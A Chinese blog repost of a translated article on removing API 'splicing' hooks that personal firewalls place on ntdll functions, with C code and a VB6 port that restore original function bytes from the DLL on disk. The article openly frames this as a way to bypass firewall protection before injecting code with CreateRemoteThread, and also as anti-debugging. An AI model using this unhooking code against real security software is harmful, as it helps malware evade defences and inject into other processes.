Anti API-splicing - 移除 API Hook [C原文+VB翻譯]

Source: http://www.yulv.net/archives/14
By: greatdong

原文
=========================
對付API-splicing的一種簡單方法 [PSI_H] By: greatdong

對於攔截API函數通常使用一種叫splicing的方法。此法的本質就是用JMP指令替換函數起始處的5個字節,將控制權傳遞給攔截程序。這種技術廣泛應用於個人防火牆中,以防木馬程序將自己的代碼注入到其它可訪問網絡進程的地址空間中。然而,木馬程序作者們可以採用不同的技術來穿透防火牆。比如說很流行的防火牆Agnitum Outpost的第三版就可以輕鬆繞過(詳見MS-REM的文章《使用inject繞過防火牆》)。然而設計者們已經對自己的勞動結晶施以了巫術,Outpost 4.0已經能可靠地(?)對付這種方法了。但是如果這種保護繞不過去,那為什麼不試著把它拿下呢?

首先腦子裡想到的是,使用LoadLibrary/GetProcAddress函數來獲取被攔截函數的原始代碼,之後用它在內存裡替換掉以前的代碼,這樣就摘掉了對函數的HOOK。因為調用LoadLibrary將返回指向已加載模塊的指針,所以必須將文件拷貝並加載此拷貝。下面的代碼去除了對ZwWriteVirtualMemory函數的攔截:
// 將NTDLL.DLL文件拷入TEMP文件夾

char szTemp[MAX_PATH];

GetTempPath(MAX_PATH, szTemp);

strcat(szTemp, "ntdll2.dll");

CopyFile("C:\Windows\System32\ntdll.dll", szTemp, TRUE);

// 取得指向原始函數的指針
HMODULE hMod = LoadLibrary(szTemp);
void* ptr_orig = GetProcAddress(hMod, "ZwWriteVirtualMemory"); 

// 取得指向當前函數的指針
void* ptr_new = GetProcAddress (LoadLibrary("ntdll.dll"), "ZwWriteVirtualMemory");

// 設置內存訪問權限
DWORD dwOldProtect;
VirtualProtect(ptr_new, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// 替換函數的前10個(為保險起見)字節
memcpy(ptr_new, ptr_orig, 10);

FreeLibrary(hMod);
DeleteFile(szTemp);
此後,為了在其它進程地址空間中執行自己的代碼,可以使用經典的CreateRemoteThread。順便說一句,Outpost對這個函數也進行了攔截,但是,在別的進程裡創建線程是絕對可以的。

儘管這裡給出的摘除HOOK的方法完全奏效,但需要加載新的dll模塊,這可能會引起防火牆的暴怒。我所認為的更為優雅的辦法就是只需從文件中讀取所需要的字節。下面這個函數的代碼恢復了API的原始的起始部分。

bool RemoveFWHook(char* szDllPath, char* szFuncName) // szDllPath為DLL的完整路徑 !
{
// 取得指向函數的指針
HMODULE lpBase = LoadLibrary(szDllPath);
LPVOID lpFunc = GetProcAddress(lpBase, szFuncName);
if(!lpFunc)
return false;
// 取得RVA
DWORD dwRVA = (DWORD)lpFunc-(DWORD)lpBase;

// 將文件映射入內存
HANDLE hFile = CreateFile(szDllPath,GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
if(INVALID_HANDLE_VALUE == hFile)
return false;

DWORD dwSize = GetFileSize(hFile, NULL);

HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL);

LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize);

// 指向當前函數的指針
LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA);

// 修改訪問權限並拷貝
DWORD dwOldProtect;
BOOL bRes=true;
if(VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
memcpy(lpFunc, lpRealFunc, 10);
}else{
bRes=false;
}

UnmapViewOfFile(lpBaseMap);

CloseHandle(hMapFile);
CloseHandle(hFile);

return bRes;

}
注意CreateFileMapping函數的調用,參數SEC_IMAGE指明了文件將作為可執行文件映射入內存,這就使我們能夠找到PE首部並計算文件偏移量。然而,以上示例是有缺陷的——用戶可以禁止讀取系統文件,除此之外,軟件設計者還可以patch磁盤文件(儘管可能性很小)。對付的方法還是有的,可以基址作為標誌函數起始的label。例如,在所有我研究過的Windows XP(SP0-SP2、RU和MUI)裡,ZwWriteVirtualMemory起始處都是字節:

B8 15 01 00 00

其對應的彙編助記符為

mov eax, 00000115

為了識別label,無需在磁盤文件上做手腳,因為ntdll.dll在distribution裡是不設防的。當然使用靜態label並不能保證相容性,但這是防範攔截的最好辦法。

使用上面所講的技術可以達到十分通用的效果——比如防範調試器。比如說,我們的應用程序從註冊表讀取lisense鍵值,而且我們不想此舉被黑客監視。為了恢覆函數的原始代碼以處理註冊表,我們將斷點(opcode為0xCC)做掉。老實說,如果黑客在函數的尾部施此伎倆,而我們只恢復起始部分,這還真就不靈了。所以,最好一下恢復整個code section。

Anti-anti-splicing
要想對付類似的anti-splicing的方法,developers可以對ZwProtectVirtualMemory函數進行處理。攔截了這個函數就能控制對內存訪問參數的修改,我們也就因此而不能向所需的地址裡進行寫入。然而,如果建立了前面提到的函數起始基址的話,還是有辦法對付的。

[C] PSI_H 董岩(譯) http://greatdong.blog.edu.cn

=============================================================================
以下部分是翻譯成VB的源碼,原本來源有些微的不嚴謹、小小錯誤,洋蔥在此稍作修正,Win7 x86編譯通過。
Option Explicit
'Source:http://www.yulv.net/archives/14/
'By: greatdong
Private Declare Function VirtualProtect Lib "kernel32.dll" (ByRef lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, ByRef lpflOldProtect As Long) As Long
Private Declare Function MapViewOfFile Lib "kernel32.dll" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function UnmapViewOfFile Lib "kernel32.dll" (ByRef lpBaseAddress As Any) As Long
Private Declare Function GetProcAddress Lib "kernel32.dll" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByRef lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function CreateFileMapping Lib "kernel32.dll" Alias "CreateFileMappingA" (ByVal hFile As Long, ByRef lpFileMappigAttributes As Long, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long
Private Declare Function GetFileSize Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpFileSizeHigh As Long) As Long
Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type
Private Const FILE_ATTRIBUTE_NORMAL As Long = &H80
Private Const SECTION_MAP_READ As Long = &H4
Private Const FILE_MAP_READ As Long = SECTION_MAP_READ
Private Const FILE_SHARE_READ As Long = &H1
Private Const GENERIC_READ As Long = &H80000000
Private Const OPEN_EXISTING As Long = 3
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Const PAGE_READONLY As Long = &H2
Private Const SEC_IMAGE As Long = &H1000000
Private Const INVALID_HANDLE_VALUE As Long = -1
Private Declare Function MessageBoxA Lib "user32" (ByVal hWnd As Integer, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Integer) As Integer

Public Function RemoveFWHook(szDllPath As String, szFuncName As String) As Boolean ' szDllPath為DLL的完整路徑!
Dim lpBase As Long, lpFunc As Long, dwRVA As Long, hFile As Long, dwSize As Long, hMapFile As Long, lpBaseMap As Long, lpRealFunc As Long, bRes As Boolean, dwOldProtect As Long
' 取得指向函數的指針
lpBase = LoadLibrary(szDllPath)
lpFunc = GetProcAddress(lpBase, szFuncName)

If lpFunc = 0 Then RemoveFWHook = False
' 取得RVA
dwRVA = lpFunc - lpBase
' 將文件映射入內存
hFile = CreateFile(szDllPath, GENERIC_READ, FILE_SHARE_READ, ByVal 0&, _
OPEN_EXISTING, 0, 0)

If hFile = INVALID_HANDLE_VALUE Then
RemoveFWHook = False
Exit Function
End If

dwSize = GetFileSize(hFile, 0)
hMapFile = CreateFileMapping(hFile, 0, PAGE_READONLY Or SEC_IMAGE, 0, dwSize, _
vbNullString)
lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize)
' 指向當前函數的指針
lpRealFunc = lpBaseMap + dwRVA
' 修改訪問權限並拷貝
bRes = True

If (VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, dwOldProtect)) Then
CopyMemory lpFunc, lpRealFunc, 10
Else
bRes = False
End If

UnmapViewOfFile (lpBaseMap)
CloseHandle (hMapFile)
CloseHandle (hFile)
RemoveFWHook = bRes
End Function

Private Sub Command1_Click()
MessageBoxA 0, RemoveFWHook(Environ$("SystemRoot") & "\System32\user32.dll", "MessageBoxA"), "Hello!", 0
End Sub

留言

本月最夯

偷用電腦,怎知?事件檢視器全記錄!(開機時間、啟動項時間...)

[Chrome] 不用任何擴充功能,Chrome 內建開發者工具讓您輕鬆下載任何影片!